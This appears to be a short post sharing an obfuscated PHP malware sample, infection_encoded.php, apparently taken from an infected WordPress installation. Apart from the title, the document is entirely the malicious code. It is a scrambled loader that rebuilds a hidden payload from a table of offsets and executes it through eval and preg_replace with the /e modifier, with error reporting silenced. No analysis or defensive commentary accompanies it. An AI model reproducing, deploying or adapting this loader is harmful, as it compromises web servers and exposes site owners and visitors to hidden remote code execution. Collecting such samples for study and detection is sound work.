Malicious code found in infected WP setup

infection_encoded.php

<?php $gyhweuqbjh = 'fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbj%x5c%x7825>j%x5c%x7g!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj41%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x724]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbssx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]2%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR65!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572obs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*f%50%x2e%52%x29%57%x65","%x65%166%x61%154%%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]%x5c%x7825iN}#-!tussfw)%x5bg!osvufs!|ftmf!~<**9.-j%x5cc%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825i%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#3fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x758]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x78return chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y75c%x7825ww2!>#p#%x5c%x78jRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x57860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x78255c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]2x5c%x7860%x5c%x785c^>Ew:%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_ttvctus)%x5c%x7825%x5c%Re%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bgeA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x7x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw2f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z><~!!%x5c%x7825s:N}#-%x5x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R2825)tpqsut>j%x5c%x7825!*72!%x5c%}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x788257-MSV,6<*)ujojR%x%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%!}6;##}C;!>>!}W;utpi}y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]672]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t:5c%x7825-#1GO%x5c%x7822#)x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopm-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.9%x5c%x7825:osvufs:~:<*9-1-r%c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%7jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5cfepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x78cSFWSFT%x5c%x7860%x5c%x7j%x5c%x7825!*9!%x5c%x7827!hC%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5cx7824-%x5c%x7824b!>!%x5c%x7825yy)#}#%x7878X6<#o]o]Y%x5c%x78257]267]y74]275]y7:]268]y7f#<!%x5co)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x55c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujo%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x756~6<%x5c%x787fw6<*K)ftc%x5c%x787f!|!*uyfu%x5c%xx61"])))) { $GLOBALS["%x61%156%x75%156%5c%x7860MPT7-NBFSUT%%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%mg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5ttfsqnpdov{h19275j{hnpd19275fubmgoj%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7827827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7855c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%xx5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#op25r%x5c%x7878B%x5c%x78%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU72]K9]78]K5]53]Kc#<%c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%xx7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bc%x7825tjw!>!#]y84]275]y83]248]y83]256]y8eobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!%x7878;0]=])0#)U!%x5c%x7N#*%x5c%x7824%x5c%x782f%x5c24-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x578256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x782x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785x782f%x5c%x7825r%x5c%x787825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x7if((function_exists("%x6f%142%x5f%163%x74%1Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x57824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x782pmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x8272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x!gj!|!*1?hmg%x5c%x7825)!gj!<**2c%x7825hW~%x5c%x7825fdy)##-!#~<%xubE{h%x5c%x7825)tpqsut>60QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7867,18R#>q%x5c%x7825V<*#fopo{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7dt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovx7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%xc%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3judovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftm9%73", NULL); }!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yf25mm)%x5c%x7825%x5c%]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285824y7%x5c%x7824-%x5c%x7824*<!-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#%x7860{6~6<tfs%x5c%x7825w6<%x5cc%x7825-bubE{h%x5c%x7825)5}&;ftmbg}%x5c%x787f;!56]y78]248]y83]256]y81]265]y72]254]y76x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x0FUPNFS&d_SFSFGFS%x5c%x7860QUUI&%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5;utpI#7>%x5c%x782f7rfs%x5c%x:!>!%x5c%x7824Ypp3)%x5c%x7825cBc_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x782%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,5,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x25h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x756+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x78#>b%x5c%x7825!**X)ufttj%x55c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftm445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%2%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x7456#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%xosvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op%x7824-%x5c%x7824*!|!%x5c%x785c%x782f#M5]DgP5]D6#<%x5c%x7825f72]58y]472]37y]672]48y]#>s%x5c%x7825<#462V;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**25!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#np824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]6]62]y3:]84#-!OVMM*<%x22%51%x29%51%x2-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%82f14+9**-)1%x5c%x782f2986+7**^%x5c%]252]y74]256]y39]252]y83]273]y72]282#<!%x5]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}d%x5c%x782f#)rrd%x5c%x782f#00;o#>b%x5c%x7825!*##>>X)!gjZ<#opoc%x7824!>!fyqmpef)#%x5c%x75%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujp)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojnc%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7825b:>%x5c%x7825s:%x5cx5c%x7860LDPT7-UFOJ%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!x7825=*h%x5c%x7825)m%x5c%x7825):fmjy76]277]y72]265]y39]271]y83]2eb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssut!|!*5!%x5c%x7827!hmg%x5c%x7825)fV%x5c%x787f<*X&Z&S{ftmfV%x5c8]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnuix5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<dy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4x7825tdz*Wsfuvso!%x5c%x78%x7824y4%x5c%x7824-%x5c%x7824]y8%x39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%16,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x7:>1<!gps)%x5c%x7825j:>1<%x5x5c%x78257-C)fepmqnjA%x5c%x7827&6<.1]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]27827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%3]y3:]68]y76#<%x5c%x78e%x5c%c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%xc%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x78Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%xc%x7825o:W%x5c%x7825c:>1<%x5c%x7825b%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)e3]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86<*id%x5c%x7825)dfyfR%x5c%x7827tfs/(.*)/epreg_replacelflojhkcor'; $mgscatgnjl = explode(chr((260-216)),'5361,43,245,51,3624,39,296,28,1526,62,1020,42,9352,46,7539,67,3683,59,2669,54,9613,28,2085,38,368,36,8465,45,5069,51,5467,40,5169,67,8510,46,3469,41,1353,44,9123,66,3241,40,3317,26,6777,28,5002,67,3576,23,5617,62,3663,20,8618,20,2205,66,2798,57,2028,57,5679,54,5560,57,3010,70,9073,50,4360,56,599,49,2970,40,9460,35,0,66,6523,31,749,51,10073,33,4198,37,9398,35,2417,20,3418,51,1682,53,6105,56,2479,21,5404,63,1735,51,4255,62,3846,48,6579,22,7766,57,6205,66,1208,28,6965,53,172,20,4746,37,404,35,2325,32,4519,46,5797,23,3214,27,3742,69,6554,25,4652,38,8800,31,5733,31,648,43,800,64,6011,40,192,53,2357,60,7700,66,2773,25,3120,70,7980,43,8264,30,4937,65,2930,40,9949,62,965,55,6286,66,4606,46,8401,64,8756,44,1975,53,7342,58,5820,42,6691,32,6836,62,4134,42,8294,31,7400,26,1236,57,130,42,3599,25,3894,40,3190,24,9010,63,8556,35,4084,50,2604,65,9312,40,3811,35,5888,60,1786,63,3510,66,2565,39,7426,65,8831,29,2271,54,7018,58,6161,44,5862,26,7925,55,4890,47,8908,46,4690,56,4783,24,9546,67,8638,54,8103,42,5948,63,8181,42,4565,41,9495,51,10011,62,3343,31,1913,40,2902,28,3980,60,2500,65,1062,60,8692,35,1293,60,7884,41,918,47,7131,66,4465,54,1849,40,1459,67,439,42,7823,29,4834,56,1953,22,3281,36,66,64,5507,53,9278,34,3934,46,1397,62,6432,29,6898,67,8351,50,3374,44,8325,26,8023,43,2723,50,6805,31,1182,26,9699,70,4040,44,536,63,7293,49,481,55,5236,55,9641,58,7255,38,7647,53,4176,22,7076,55,2855,47,8860,48,8954,56,4235,20,6639,52,7852,32,9189,64,6372,60,8223,41,324,44,6723,54,5764,33,4317,43,864,54,1122,60,7491,48,9253,25,5317,44,8145,36,5291,26,2182,23,9913,36,9433,27,9769,36,6051,54,8591,27,3080,40,7197,58,1889,24,9854,59,1658,24,2123,59,5120,49,9805,49,6352,20,4416,49,6461,62,4807,27,2437,42,691,58,7606,41,8727,29,6601,38,1588,70,8066,37,6271,15'); $zqbqfdqebh=substr($gyhweuqbjh,(54788-44682),(31-24)); if (!function_exists('kgorzrytks')) { function kgorzrytks($cvklbaybnf, $srxziwgbuc) { $wflfjqienn = NULL; for($uqygpwnyms=0;$uqygpwnyms<(sizeof($cvklbaybnf)/2);$uqygpwnyms++) { $wflfjqienn .= substr($srxziwgbuc, $cvklbaybnf[($uqygpwnyms*2)],$cvklbaybnf[($uqygpwnyms*2)+1]); } return $wflfjqienn; };} $iuapkowcro="\x20\57\x2a\40\x72\171\x66\160\x75\155\x64\152\x71\153\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x39\55\x32\62\x32\51\x29\54\x20\143\x68\162\x28\50\x33\64\x38\55\x32\65\x36\51\x29\54\x20\153\x67\157\x72\172\x72\171\x74\153\x73\50\x24\155\x67\163\x63\141\x74\147\x6e\152\x6c\54\x24\147\x79\150\x77\145\x75\161\x62\152\x68\51\x29\51\x3b\40\x2f\52\x20\166\x69\142\x72\151\x66\143\x61\165\x6d\40\x2a\57\x20"; $yslvylnenv=substr($gyhweuqbjh,(51164-41051),(82-70)); $yslvylnenv($zqbqfdqebh, $iuapkowcro, NULL); $yslvylnenv=$iuapkowcro; $yslvylnenv=(713-592); $gyhweuqbjh=$yslvylnenv-1; ?>